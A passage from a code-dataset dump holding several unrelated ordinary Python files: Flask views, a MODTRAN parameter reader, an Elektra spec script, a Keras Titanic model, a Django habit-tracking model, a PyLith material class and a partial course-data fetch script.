Blueprint('menus', __name__)\nmenus_api = MenusAPI.as_view('menus_api')\n\nmenus_blueprint.add_url_rule(\n '/menus/
',\n view_func=menus_api,\n methods=['GET'],\n )\n","sub_path":"basicecomm/menus/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"366750731","text":"from __future__ import print_function\nfrom builtins import range\n# read a catalogue of MODTRAN parameters with their\n# name, format, card sequential number, range in card\n# return a list with parameters attributes\n#\n####\n\n\ndef rdp(parmfile):\n \n parmf = open(parmfile,'r')\n i1 = -1\n\n parmlis =[]\n # read complete catalogue of parameters that can be changed\n for data in parmf:\n i1 = i1+1\n parmlis = parmlis + [data]#one string per parameter\n print(i1 , parmlis[i1])\n parmf.close()\n plist =[]\n for iparm in range(0,len(parmlis)):\n psp=[]\n par=parmlis[iparm] # isolate one parameter\n psp = par.split('$') #split parameter attributes\n # format parameter attributes\n psp[0]=psp[0].strip() #strip name string\n psp[1]=int(psp[1]) # switch card number to numeric\n psp[2]=psp[2].strip() # strip format string\n psp[3]=int(psp[3]) # switch start position to numeric\n psp[4]=int(psp[4]) # switch end position to numeric\n psp = psp[0:-1] # remove useless endline\n # store in global parameter list \n plist = plist + [psp] \n return plist\n\n\n# call sequence :\n# import readparms\n# parmfile = 'file name'\n# cardlis = readparms.rdp(parmfile)\n\n","sub_path":"python/lsst/sims/selfcal/transmission/old/readparms.py","file_name":"readparms.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"67449106","text":"#!/usr/bin/python3\n\nimport sys\nimport kdb\nimport unittest\nfrom ctypes import c_char_p\n\nbase_key = \"/tests/python/gopts\"\nspec_base_key = \"spec:\" + base_key\n\nspec = kdb.KeySet(10, kdb.Key(spec_base_key, kdb.KEY_META, \"command\", \"\"),\n\t\t kdb.Key(spec_base_key + \"/printversion\",\n\t\t\t kdb.KEY_META, \"description\", \"print version information and exit (ignoring all other options/commands/parameters)\",\n\t\t\t kdb.KEY_META, \"opt\", \"v\",\n\t\t\t kdb.KEY_META, \"opt/arg\", \"none\",\n\t\t\t kdb.KEY_META, \"opt/long\", \"version\"),\n\t\t kdb.Key(spec_base_key + \"/getter\",\n\t\t\t kdb.KEY_META, \"description\", \"get a key's value\",\n\t\t\t kdb.KEY_META, \"command\", \"get\"),\n\t\t kdb.Key(spec_base_key + \"/getter/verbose\",\n\t\t\t kdb.KEY_META, \"description\", \"print additional information about where the value comes from\",\n\t\t\t kdb.KEY_META, \"opt\", \"v\",\n\t\t\t kdb.KEY_META, \"opt/long\", \"verbose\",\n\t\t\t kdb.KEY_META, \"opt/arg\", \"none\"),\n\t\t kdb.Key(spec_base_key + \"/getter/keyname\",\n\t\t\t kdb.KEY_META, \"description\", \"name of the key to read\",\n\t\t\t kdb.KEY_META, \"args\", \"indexed\",\n\t\t\t kdb.KEY_META, \"args/index\", \"0\"),\n\t\t kdb.Key(spec_base_key + \"/setter\",\n\t\t\t kdb.KEY_META, \"description\", \"set a key's value\",\n\t\t\t kdb.KEY_META, \"command\", \"set\"),\n\t\t kdb.Key(spec_base_key + \"/setter/verbose\",\n\t\t\t kdb.KEY_META, \"description\", \"print additional information about where the value will be stored\",\n\t\t\t kdb.KEY_META, \"opt\", \"v\",\n\t\t\t kdb.KEY_META, \"opt/long\", \"verbose\",\n\t\t\t kdb.KEY_META, \"opt/arg\", \"none\"),\n\t\t kdb.Key(spec_base_key + \"/setter/keyname\",\n\t\t\t kdb.KEY_META, \"description\", \"name of the key to write\",\n\t\t\t kdb.KEY_META, \"args\", \"indexed\",\n\t\t\t kdb.KEY_META, \"args/index\", \"0\"),\n\t\t kdb.Key(spec_base_key + \"/setter/value\",\n\t\t\t kdb.KEY_META, \"description\", \"value to be written\",\n\t\t\t kdb.KEY_META, \"args\", \"indexed\", kdb.KEY_META, \"args/index\", \"1\"),\n\t\t kdb.Key(spec_base_key + \"/dynamic/#\",\n\t\t\t kdb.KEY_META, \"description\", \"dynamically call a user-supplied command\",\n\t\t\t kdb.KEY_META, \"args\", \"remaining\")\n\t\t )\n\ndef setupSpec():\n\twith kdb.KDB() as db:\n\t\tks = kdb.KeySet(10)\n\t\tdb.get(ks, spec_base_key)\n\t\tif len(ks.cut(kdb.Key(spec_base_key))) > 0:\n\t\t\tprint(\"ERROR: Couldn't setup spec, keys exist!\", file=sys.stderr)\n\t\t\texit(1)\n\n\t\tks.extend(spec)\n\t\tdb.set(ks, spec_base_key)\n\ndef removeSpec():\n\twith kdb.KDB() as db:\n\t\tks = kdb.KeySet(10)\n\t\tdb.get(ks, spec_base_key)\n\t\tks.cut(kdb.Key(spec_base_key))\n\t\tdb.set(ks, spec_base_key)\n\ndef array_index(index):\n\treturn \"_\" * (len(str(index)) - 1) + str(index)\n\nif __name__ == '__main__':\n\tsetupSpec()\n","sub_path":"src/tools/fuse/docker/create_gopts_keys.py","file_name":"create_gopts_keys.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"514907228","text":"# vim: set syntax=python:\n\nfrom waflib.Task import Task\n\nLIBRARIES = [\n 'calacs'\n ]\n\ndef build(bld):\n for library in LIBRARIES:\n bld.recurse(library)\n\n bld(name='acs', depends_on='calacs.e', always=True)\n","sub_path":"pkg/acs/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"551691146","text":"import pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.keras import activations\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras import regularizers\nimport datetime\n\n# 显示训练情况\n\n\ndef plot_history(history):\n # histoty的返回值\n # 一个历史对象。它的 History.history 属性是连续 epoch 的训练损失值和指标值的记录,以及验证损失值和验证指标值(如果适用)。\n # history.history:loss、accuracy、val loss、val accuracy\n hist = pd.DataFrame(history.history)\n hist[\"epoch\"] = history.epoch\n\n plt.figure()\n plt.xlabel(\"Num of Epochs\")\n plt.ylabel(\"value\")\n plt.plot(hist[\"epoch\"], hist[\"accuracy\"], label=\"accuracy\")\n plt.plot(hist[\"epoch\"], hist[\"val_accuracy\"], label=\"val_accuracy\")\n plt.ylim([0, 1])\n plt.legend()\n plt.show()\n\n\n# 导入数据\ndef load_data(path_url, test_path_url):\n raw_train_dataset = pd.read_csv(path_url)\n raw_test_dataset = pd.read_csv(test_path_url)\n return raw_train_dataset, raw_test_dataset\n\n\n# 数据预处理的基础方法\ndef preprocess(raw_dataset, features, train=True):\n \"\"\"用于predict的数据预处理\n Args:\n input: dataset = pandas.DataFrame对象\n \"\"\"\n # 以中位数来替代\n if \"Age\" in features:\n raw_dataset[\"Age\"].fillna(raw_dataset[\"Age\"].median(), inplace=True)\n raw_dataset[\"Fare\"].fillna(raw_dataset[\"Fare\"].median(), inplace=True)\n raw_dataset[\"Embarked\"].fillna(raw_dataset[\"Fare\"].median(), inplace=True)\n dataset = raw_dataset[features]\n dataset = dataset.copy()\n\n # 由于 embarked=登船港口, Port of Embarkation\tC = Cherbourg, Q = Queenstown, S = Southampton\n\n Embarked = dataset.pop(\"Embarked\")\n\n # 根据 embarked 列来写入新的 3 个列\n dataset[\"S\"] = (Embarked == \"S\") * 1.0\n dataset[\"C\"] = (Embarked == \"C\") * 1.0\n dataset[\"Q\"] = (Embarked == \"Q\") * 1.0\n\n # 根据 sex 列来写入新的 2 个列\n Sex = dataset.pop(\"Sex\")\n dataset[\"Male\"] = (Sex == \"male\") * 1.0\n dataset[\"Female\"] = (Sex == \"female\") * 1.0\n\n dataset_withoutna = dataset\n if train:\n labels = dataset_withoutna[\"Survived\"]\n dataset_withoutna.pop(\"PassengerId\")\n dataset_withoutna.pop(\"Survived\")\n # 标准化\n train_stats = dataset_withoutna.describe()\n train_stats = train_stats.transpose()\n normed_train_data = (dataset_withoutna - train_stats[\"mean\"]) / train_stats[\n \"std\"\n ]\n return np.array(normed_train_data), np.array(labels)\n else:\n labels = dataset.pop(\"PassengerId\")\n dataset.fillna(0, inplace=True)\n test_stats = dataset.describe()\n test_stats = test_stats.transpose()\n normed_test_data = (dataset - test_stats[\"mean\"]) / test_stats[\"std\"]\n return np.array(normed_test_data), np.array(labels)\n\n\n# 训练\ndef train(train_dataset, labels, epochs=120, batch_size=512, is_plot=False):\n model = tf.keras.Sequential(\n [\n # 1. input_shape = 输入形状\n # ND 张量的形状:. 最常见的情况是带有 shape 的 2D 输入。\n # 2. kernel_regularizer = 应用于kernel权重矩阵的正则化函数。\n # 𝐿2正则化:范数的平方\n tf.keras.layers.Dense(\n 64,\n activation=\"relu\",\n input_shape=(train_dataset.shape[1],),\n kernel_regularizer=regularizers.l2(0.001),\n ),\n tf.keras.layers.Dense(\n 32, activation=\"relu\", kernel_regularizer=regularizers.l2(0.001)\n ),\n tf.keras.layers.Dense(16, activation=\"relu\"),\n tf.keras.layers.Dense(1, name=\"prediction\"),\n ]\n )\n\n # 在 Keras 中提供了 compile()和 fit()函数方便实现逻辑。\n # compile:首先通过compile 函数指定网络使用的优化器对象、损失函数类型,评价指标等设定,这一步称为装配\n # fit: 模型装配完成后,即可通过 fit()函数送入待训练的数据集和验证用的数据集\n model.compile(\n # Adam的学习律默认为0.001\n optimizer=tf.keras.optimizers.Adam(),\n # BinaryCrossentropy:计算真实标签和预测标签之间的交叉熵损失\n loss=tf.keras.losses.BinaryCrossentropy(from_logits=True),\n # 设置测量指标为准确率\n metrics=[\"accuracy\"],\n )\n\n # 模型装配完成后,即可通过 fit()函数送入待训练的数据集和验证用的数据集,这一步称为模型训练\n # verbose = 'auto'、0、1 或 2 详细模式。\n # 0 = 静音,1 = 进度条,2 = 每个 epoch 一行。'auto' 在大多数情况下默认为 1\n history = model.fit(\n x=train_dataset,\n y=labels,\n epochs=epochs,\n validation_split=0.3,\n batch_size=batch_size,\n verbose=\"auto\",\n # callbacks=[early_stop]\n )\n\n # 显示训练情况\n if is_plot:\n plot_history(history)\n\n # 可以通过 Model.evaluate(db)循环测试完 db 数据集上所有样本\n loss, accuracy = model.evaluate(train_dataset, labels, verbose=2)\n print(\"Accuracy:\", accuracy)\n\n return model\n\n\n# 真实预测并输出csv\ndef predict_out(model, csv_path):\n # model.evaluate 和 model.predict 的区别\n # https://blog.csdn.net/DoReAGON/article/details/88552348\n # 两者差异:\n # 1\n # 输入输出不同\n # model.evaluate输入数据(data)和金标准(label),然后将预测结果与金标准相比较,得到两者误差并输出.\n # model.predict输入数据(data),输出预测结果\n # 2\n # 是否需要真实标签(金标准)\n # model.evaluate需要,因为需要比较预测结果与真实标签的误差\n # model.predict不需要,只是单纯输出预测结果,全程不需要金标准的参与.\n predictions = model.predict(test_dataset)\n # 通过astype()方法可以强制转换数据的类型。\n predictions = (tf.sigmoid(predictions).numpy().flatten() > 0.5).astype(int)\n print(predictions.shape, predictions)\n # 输出结果\n output = pd.DataFrame(\n {\"PassengerId\": passenger_id, \"Survived\": predictions})\n # index=False 不保存行索引,index=是否保留行索引\n output.to_csv(csv_path, index=False)\n print(f\"您的提交文件保存成功! 位置在{csv_path}\")\n return predictions\n\n\n# 获取年月日时分秒\ndef get_time():\n return datetime.datetime.now().strftime(\"%Y%m%d%H%M\")\n\n\n# #### Titanic - Machine Learning from Disaster\n\nif __name__ == \"__main__\":\n\n # 1. 导入数据\n path_url = r\"kaggle\\titanic\\train.csv\"\n test_path_url = r\"kaggle\\titanic\\test.csv\"\n\n raw_train_dataset, raw_test_dataset = load_data(path_url, test_path_url)\n\n # 2. 数据预处理\n features_test = [\n \"PassengerId\",\n \"Pclass\",\n \"Sex\",\n \"Fare\",\n \"Age\",\n \"SibSp\",\n \"Parch\",\n \"Embarked\",\n ]\n features_train = features_test + [\"Survived\"]\n\n # 获取预处理后的训练集和标签\n train_dataset, labels = preprocess(raw_train_dataset, features_train)\n\n # 3. 训练\n model = train(train_dataset, labels, epochs=256, is_plot=True)\n\n # 获取预处理后的测试集和序号\n test_dataset, passenger_id = preprocess(\n raw_test_dataset, features_test, train=False\n )\n\n # 输出预测结果\n csv_path = f\"./submission_{get_time()}.csv\"\n prediction = predict_out(model, csv_path)\n\n # 验证与原始数据raw_test_dataset长度是否一致\n if prediction.shape[0] == raw_test_dataset.shape[0]:\n print(f\"--预测长度={prediction.shape[0]}校验通过 √\")\n else:\n print(\n f\"--预测长度与raw_test_dataset长度不一致 ×,prediction.shape={prediction.shape},raw_test_dataset.shape={raw_test_dataset.shape}\"\n )\n","sub_path":"python/deep_learning/Kaggle/titanic_predict.py","file_name":"titanic_predict.py","file_ext":"py","file_size_in_byte":7859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"599284413","text":"# Cylinder library test\n#-------------------------------------------------------\n# Author: Tiro Timmers\n# ID: 090817000 \n# Email: timm7000@mylaurier.ca\n# Version: 2010-10-03\n#-------------------------------------------------------\n#Library for cylinder caculations test\n#-------------------------------------------------------\nimport math\nimport cylinder\n\nradius=cylinder.get_rad()\nheight=cylinder.get_h()\nprint('With a radius of {0}, and height of {1}, the following:'.format(radius,height))\n\nsa=cylinder.surface_area(radius, height)\nprint('The surface area is {0}.'.format(sa))\nvol=cylinder.volume(radius, height)\nprint('The volume is {0}'.format(vol))\n","sub_path":"Lab4/src/cylindertest.py","file_name":"cylindertest.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"39632850","text":"from enum import Enum\nfrom typing import Optional\n\nfrom flask import Response, current_app, jsonify, request\nfrom flask.views import MethodView\nfrom flask_jwt_extended import jwt_required\nfrom marshmallow import Schema, ValidationError\nfrom models.base import BaseModel\nfrom ops_api.ops.utils.auth import auth_gateway\nfrom ops_api.ops.utils.response import make_response_with_headers\nfrom sqlalchemy import select\nfrom sqlalchemy.exc import SQLAlchemyError\n\n\ndef generate_validator(model: BaseModel) -> BaseModel.Validator:\n try:\n return model.Validator()\n except AttributeError:\n return None\n\n\nclass OPSMethodView(MethodView):\n init_every_request = False\n\n def __init__(self, model: BaseModel):\n self.model = model\n self.validator = generate_validator(model)\n self.auth_gateway = auth_gateway\n\n def _get_item_by_oidc(self, oidc: str):\n current_app.logger.info(f\"get User by_oidc: {id}\")\n stmt = select(self.model).where(self.model.oidc_id == oidc).order_by(self.model.id)\n return current_app.db_session.scalar(stmt)\n\n def _get_item(self, id: int) -> BaseModel:\n stmt = select(self.model).where(self.model.id == id).order_by(self.model.id)\n return current_app.db_session.scalar(stmt)\n\n def _get_all_items(self) -> list[BaseModel]:\n stmt = select(self.model).order_by(self.model.id)\n # row objects containing 1 model instance each, need to unpack.\n return [row[0] for row in current_app.db_session.execute(stmt).all()]\n\n def _get_item_by_oidc_with_try(self, oidc: str):\n try:\n item = self._get_item_by_oidc(oidc)\n\n if item:\n response = make_response_with_headers(item.to_dict())\n else:\n response = make_response_with_headers({}, 404)\n except SQLAlchemyError as se:\n current_app.logger.error(se)\n response = make_response_with_headers({}, 500)\n\n return response\n\n def _get_item_with_try(self, id: int) -> Response:\n try:\n item = self._get_item(id)\n\n if item:\n response = make_response_with_headers(item.to_dict())\n else:\n response = make_response_with_headers({}, 404)\n except SQLAlchemyError as se:\n current_app.logger.error(se)\n response = make_response_with_headers({}, 500)\n\n return response\n\n def _get_all_items_with_try(self) -> Response:\n try:\n item_list = self._get_all_items()\n\n if item_list:\n response = make_response_with_headers([item.to_dict() for item in item_list])\n else:\n response = make_response_with_headers({}, 404)\n except SQLAlchemyError as se:\n current_app.logger.error(se)\n response = make_response_with_headers({}, 500)\n\n return response\n\n @staticmethod\n def _validate_request(schema: Schema, message: Optional[str] = \"\", partial=False):\n errors = schema.validate(request.json, partial=partial)\n if errors:\n current_app.logger.error(f\"{message}: {errors}\")\n raise ValidationError(errors)\n\n def _get_enum_items(self) -> Response:\n enum_items = [e.name for e in self]\n return jsonify(enum_items)\n\n\nclass BaseItemAPI(OPSMethodView):\n def __init__(self, model: BaseModel):\n super().__init__(model)\n\n @jwt_required()\n def get(self, id: int) -> Response:\n return self._get_item_with_try(id)\n\n\nclass BaseListAPI(OPSMethodView):\n def __init__(self, model: BaseModel):\n super().__init__(model)\n\n @jwt_required()\n def get(self) -> Response:\n return self._get_all_items_with_try()\n\n @jwt_required()\n def post(self) -> Response:\n ...\n\n\nclass EnumListAPI(MethodView):\n def __init__(self, enum: Enum):\n super().__init__(enum)\n","sub_path":"backend/ops_api/ops/base_views.py","file_name":"base_views.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"391591635","text":"import sys\nsys.setrecursionlimit(10**5)\nn, x, y = map(int, input().split())\nG = {i: [] for i in range(1, n+1)}\nG[x].append(y)\nG[y].append(x)\nfor i in range(1, n):\n G[i].append(i+1)\n G[i + 1].append(i)\ntf = [[False] * (n+1) for i in range(n+1)]\nans = [0] * (n+1)\ndef dfs(now, before, depth):\n v[now] = True\n next_G = G[now]\n if tf[now][before] == False and depth != 0:\n ans[depth] += 1\n tf[now][before] = True\n tf[before][now] = True\n for next in next_G:\n if v[next]:\n continue\n if next == before:\n continue\n dfs(next, now, depth + 1)\n return\nfor i in range(1, n+1):\n v = [False] * (n+1)\n dfs(i, 0, 0)\nprint(ans)","sub_path":"abc/160/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"589400307","text":"from enum import Enum\nfrom typing import Optional, Union\n\nfrom django.db import models\nfrom django.db.models import Q\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\nfrom ordered_model.models import OrderedModel, OrderedModelQuerySet\n\nfrom coapp.core.content.models import ContentField\nfrom coapp.core.intuitive_duration.modelfields import IntuitiveDurationField\nfrom coapp.core.models import OwnedBase, TimeStampedBase, OwnedQuerySet\nfrom coapp.core.scopes.models import get_period_by_name, Scope\nfrom coapp.core.scopes.fields import ScopeField\nfrom coapp.core.utils.date import get_current_date, get_current_time\nfrom .experience import ExperienceService\n\n\nclass ControlledHabit(Enum):\n DASHBOARD_HABIT = \"Dashboard\"\n JOURNAL_HABIT = \"Journal\"\n FOCUS_HABIT = \"Focus\"\n SCAN_HABIT = \"Scan\"\n\n\ncontrolled_habits_data = {\n ControlledHabit.DASHBOARD_HABIT: {\n \"name\": ControlledHabit.DASHBOARD_HABIT.value,\n \"is_controlled\": True,\n \"duration\": timezone.timedelta(seconds=10),\n \"icon\": \"🗞️\",\n \"content\": \"Checking my coLegend Dashboard.\",\n },\n ControlledHabit.JOURNAL_HABIT: {\n \"name\": ControlledHabit.JOURNAL_HABIT.value,\n \"is_controlled\": True,\n \"icon\": \"📖\",\n \"content\": \"Writing my journal keywords.\",\n },\n ControlledHabit.FOCUS_HABIT: {\n \"name\": ControlledHabit.FOCUS_HABIT.value,\n \"is_controlled\": True,\n \"icon\": \"🎯\",\n \"content\": \"Setting my focus.\",\n },\n ControlledHabit.SCAN_HABIT: {\n \"name\": ControlledHabit.SCAN_HABIT.value,\n \"is_controlled\": True,\n \"icon\": \"📊\",\n \"content\": \"Scanning my life areas.\",\n },\n}\n\n\nclass HabitQuerySet(OwnedQuerySet, OrderedModelQuerySet):\n def active(self):\n return self.filter(is_active=True)\n\n def controlled(self):\n return self.filter(is_controlled=True)\n\n def untracked(self, date=None):\n \"\"\"\n Filters the queryset to only habits that have not been tracked successfully within the their current scope period.\n\n :return: Untracked habits\n \"\"\"\n moment = date or get_current_time()\n\n # Getting all periods.\n day_period = get_period_by_name(Scope.DAY.value)(moment=moment)\n week_period = get_period_by_name(Scope.WEEK.value)(moment=moment)\n month_period = get_period_by_name(Scope.MONTH.value)(moment=moment)\n year_period = get_period_by_name(Scope.YEAR.value)(moment=moment)\n\n return self.exclude(\n Q(scope=day_period.name, track_events__created_at__range=day_period.range)\n | Q(\n scope=week_period.name,\n track_events__created_at__range=week_period.range,\n )\n | Q(\n scope=month_period.name,\n track_events__created_at__range=month_period.range,\n )\n | Q(\n scope=year_period.name,\n track_events__created_at__range=year_period.range,\n )\n )\n\n def tracked(self, date=None):\n \"\"\"\n Filters the queryset to only habits that have been tracked successfully within the their current scope period.\n\n :return: Tracked habits\n \"\"\"\n moment = date or get_current_time()\n\n # Getting all periods.\n day_period = get_period_by_name(Scope.DAY.value)(moment=moment)\n week_period = get_period_by_name(Scope.WEEK.value)(moment=moment)\n month_period = get_period_by_name(Scope.MONTH.value)(moment=moment)\n year_period = get_period_by_name(Scope.YEAR.value)(moment=moment)\n\n return self.filter(\n Q(scope=day_period.name, track_events__created_at__range=day_period.range)\n | Q(\n scope=week_period.name,\n track_events__created_at__range=week_period.range,\n )\n | Q(\n scope=month_period.name,\n track_events__created_at__range=month_period.range,\n )\n | Q(\n scope=year_period.name,\n track_events__created_at__range=year_period.range,\n )\n )\n\n def next(self, date=None, scope: Scope = None):\n date = date or get_current_date()\n queryset = self.active().filter(is_controlled=False).untracked(date=date)\n if scope:\n queryset = queryset.filter(scope=scope.value)\n return queryset.order_by(\"scope\", \"order\").first()\n\n def search(self, query):\n queryset = self.filter(Q(name__icontains=query) | Q(content__icontains=query))\n return queryset\n\n\nclass Habit(OwnedBase, TimeStampedBase, OrderedModel):\n name = models.CharField(verbose_name=_(\"name\"), max_length=255,)\n scope = ScopeField(verbose_name=_(\"scope\"))\n icon = models.CharField(verbose_name=_(\"icon\"), max_length=6, blank=True,)\n duration = IntuitiveDurationField(\n verbose_name=_(\"duration\"), default=timezone.timedelta(minutes=10), blank=True,\n )\n triggers = ContentField(verbose_name=_(\"triggers\"), blank=True)\n steps = ContentField(verbose_name=_(\"steps\"), blank=True)\n rewards = ContentField(verbose_name=_(\"rewards\"), blank=True)\n content = ContentField(verbose_name=_(\"content\"), blank=True)\n is_active = models.BooleanField(verbose_name=_(\"active\"), default=True,)\n is_controlled = models.BooleanField(\n verbose_name=_(\"controlled\"),\n default=False,\n help_text=_(\"Designates whether this habit is controlled by the system.\"),\n )\n experience = models.IntegerField(\n verbose_name=_(\"experience points\"), default=1, blank=True,\n )\n streak = models.PositiveSmallIntegerField(\n verbose_name=_(\"streak\"), default=0, blank=True,\n )\n streak_max = models.PositiveSmallIntegerField(\n verbose_name=_(\"best streak\"), default=0, blank=True,\n )\n\n @property\n def levelup_experience(self):\n return ExperienceService.get_required_experience(self.level + 1)\n\n @property\n def title(self):\n titles = [\n \"novice\",\n \"apprentice\",\n \"talent\",\n \"pro\",\n \"senior\",\n \"master\",\n \"legend\",\n \"mentor\",\n \"guru\",\n \"god\",\n ]\n try:\n title = titles[self.level - 1]\n except IndexError:\n title = titles[-1]\n return title\n\n @property\n def level(self):\n return ExperienceService.get_level(self.experience)\n\n @property\n def is_tracked(self):\n return self.has_track()\n\n def track(self, commit=True) -> Optional[\"HabitTrackEvent\"]:\n \"\"\"\n Create a track record for this habit if not already present.\n And update the streak on successful track creation.\n :return:\n `track`: On tracking success\n \"\"\"\n if not self.has_track():\n now = get_current_time()\n today = get_current_date()\n # Create the new track record.\n track, created = self.track_events.update_or_create(\n created_at__date=today, defaults={\"created_at\": now}\n )\n if created:\n self.increase_streak(commit=False)\n self.experience += 1\n if commit:\n self.save()\n return track\n\n def has_track(self, datetime=None):\n \"\"\"\n Check if a track record already exists (for the given date or today).\n :param date: The date to check for: If a track exists?\n :return: True if a track event was found. False if not found.\n \"\"\"\n if datetime is None:\n datetime = self.owner.local_time\n period = get_period_by_name(self.scope)(datetime)\n utc_range = [moment.astimezone(timezone.utc) for moment in period.range]\n return self.track_events.filter(created_at__range=utc_range).exists()\n\n def reset_streak(self, to=0, commit=True):\n \"\"\"\n Reset the streak and update the maximum streak if the new one is higher.\n :param to:\n :return:\n \"\"\"\n if self.streak > self.streak_max:\n self.streak_max = self.streak\n self.streak = to\n if commit:\n self.save()\n\n def increase_streak(self, commit=True):\n self.streak += 1\n # Update max streak\n if self.streak > self.streak_max:\n self.streak_max = self.streak\n if commit:\n self.save()\n\n def get_stats(self, phases=4, date=None):\n \"\"\"\n Check the last X phases for completion.\n\n Example:\n Performance of last 4 weeks?\n Result: [False, True, True, False]\n => Not yet a success this week, success the 2 weeks before, no success 3 weeks ago.\n\n Result type: [{this_phase}, {last_phase}, {pre_last_phase}, {pre_pre_last_phase}]\n \"\"\"\n # TODO: Refactor to static variables plus updates. (signals?).\n\n period = get_period_by_name(self.scope)(date or get_current_time())\n stats = [\n False for x in range(phases)\n ] # [False, False, False, ...] empty result array\n\n for phase in range(phases): # for each phase\n utc_range = [moment.astimezone(timezone.utc) for moment in period.range]\n stats[phase] = bool(\n self.track_events.filter(created_at__range=utc_range).count()\n )\n period = period.previous\n\n return stats\n\n # Reverse: owner, track_events\n\n order_with_respect_to = \"owner\"\n\n objects = HabitQuerySet.as_manager()\n\n class Meta(OrderedModel.Meta):\n default_related_name = \"habits\"\n unique_together = [\"owner\", \"name\"]\n\n def __str__(self):\n return self.name\n\n\ndef get_controlled_habit(user, controlled_habit: ControlledHabit) -> Habit:\n \"\"\"\n Get the user's controlled habit matching the habit name.\n Only prefedined controlled habit names are valid.\n\n :param user: The user who's habit is to be fetched.\n :param habit_name: The name of the controlled habit.\n :return: The controlled habit instance.\n \"\"\"\n habit_data = controlled_habits_data.get(controlled_habit)\n if not habit_data:\n raise Exception(f'No controlled habit named \"{controlled_habit}\" was found.')\n\n try:\n habit = user.habits.get(name=controlled_habit.value, is_controlled=True)\n except Habit.DoesNotExist:\n habit = user.habits.create(**habit_data)\n return habit\n\n\ndef track_controlled_habit(user, habit: Union[ControlledHabit, Habit]):\n if isinstance(habit, ControlledHabit):\n habit = get_controlled_habit(user, habit)\n track = habit.track()\n return track\n\n\nclass HabitTrackEvent(TimeStampedBase):\n habit = models.ForeignKey(to=Habit, on_delete=models.CASCADE,)\n\n class Meta:\n default_related_name = \"track_events\"\n\n def __str__(self):\n return f\"[{self.created}] {self.habit}\"\n","sub_path":"backend/coapp/caves/habits/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"24255820","text":"#!/usr/bin/env python\n#\n# ----------------------------------------------------------------------\n#\n# Brad T. Aagaard, U.S. Geological Survey\n# Charles A. Williams, GNS Science\n# Matthew G. Knepley, University of Chicago\n#\n# This code was developed as part of the Computational Infrastructure\n# for Geodynamics (http://geodynamics.org).\n#\n# Copyright (c) 2010-2017 University of California, Davis\n#\n# See COPYING for license information.\n#\n# ----------------------------------------------------------------------\n#\n\n## @file pylith/materials/ElasticMaterial.py\n##\n## @brief Python abstract base class for managing physical properties\n## of an elastic material.\n##\n## Factory: material\n\nfrom Material import Material\n\n# ElasticMaterial class\nclass ElasticMaterial(Material):\n \"\"\"\n Python abstract base class for managing physical properties of an\n elastic material.\n\n Factory: material\n \"\"\"\n\n # INVENTORY //////////////////////////////////////////////////////////\n\n class Inventory(Material.Inventory):\n \"\"\"\n Python object for managing FaultCohesiveKin facilities and properties.\n \"\"\"\n \n ## @class Inventory\n ## Python object for managing FaultCohesiveKin facilities and properties.\n ##\n ## \\b Properties\n ## @li None\n ##\n ## \\b Facilities\n ## @li \\b output Output manager associated with material data.\n ## @li \\b db_initial_stress Database for initial stress.\n ## @li \\b db_initial_strain Database for initial strain.\n\n import pyre.inventory\n\n from pylith.meshio.OutputMatElastic import OutputMatElastic\n output = pyre.inventory.facility(\"output\", family=\"output_manager\",\n factory=OutputMatElastic)\n output.meta['tip'] = \"Output manager for elastic material information.\"\n\n from pylith.utils.NullComponent import NullComponent\n dbInitialStress = pyre.inventory.facility(\"db_initial_stress\",\n family=\"spatial_database\",\n factory=NullComponent)\n dbInitialStress.meta['tip'] = \"Database for initial stress.\"\n\n dbInitialStrain = pyre.inventory.facility(\"db_initial_strain\",\n family=\"spatial_database\",\n factory=NullComponent)\n dbInitialStrain.meta['tip'] = \"Database for initial strain.\"\n\n\n # PUBLIC METHODS /////////////////////////////////////////////////////\n\n def __init__(self, name=\"elasticmaterial\"):\n \"\"\"\n Constructor.\n \"\"\"\n Material.__init__(self, name)\n return\n\n\n # PRIVATE METHODS ////////////////////////////////////////////////////\n\n def _configure(self):\n \"\"\"\n Setup members using inventory.\n \"\"\"\n Material._configure(self)\n self.output = self.inventory.output\n from pylith.utils.NullComponent import NullComponent\n if not isinstance(self.inventory.dbInitialStress, NullComponent):\n self.dbInitialStress(self.inventory.dbInitialStress)\n if not isinstance(self.inventory.dbInitialStrain, NullComponent):\n self.dbInitialStrain(self.inventory.dbInitialStrain)\n return\n\n \n def _modelMemoryUse(self):\n \"\"\"\n Model allocated memory.\n \"\"\"\n Material._modelMemoryUse(self)\n self.perfLogger.logFields('Materials', self.initialFields())\n return\n\n\n# End of file\n","sub_path":"pylith/materials/obsolete/ElasticMaterial.py","file_name":"ElasticMaterial.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"202150872","text":"import requests\n\nURL_DEPARTMENTS = \"https://channeli.in/lectut_api/departments/\"\nURL_COURSES = \"https://channeli.in/lectut_api/departmentDetails/\"\nURL_POST_DEPARTMENTS = \"http://nexus.sdslabs.local/api/v1/departments/\"\nURL_POST_COURSES = \"http://nexus.sdslabs.local/api/v1/courses/\"\n\nr = requests.get(url = URL_DEPARTMENTS)\ndepartmentList = r.json()\ndepartments = 